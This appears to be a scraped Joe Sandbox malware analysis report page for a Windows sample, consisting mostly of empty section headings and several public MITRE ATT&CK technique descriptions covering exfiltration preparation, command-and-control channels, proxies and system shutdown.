Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 0NlSa5bf55

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre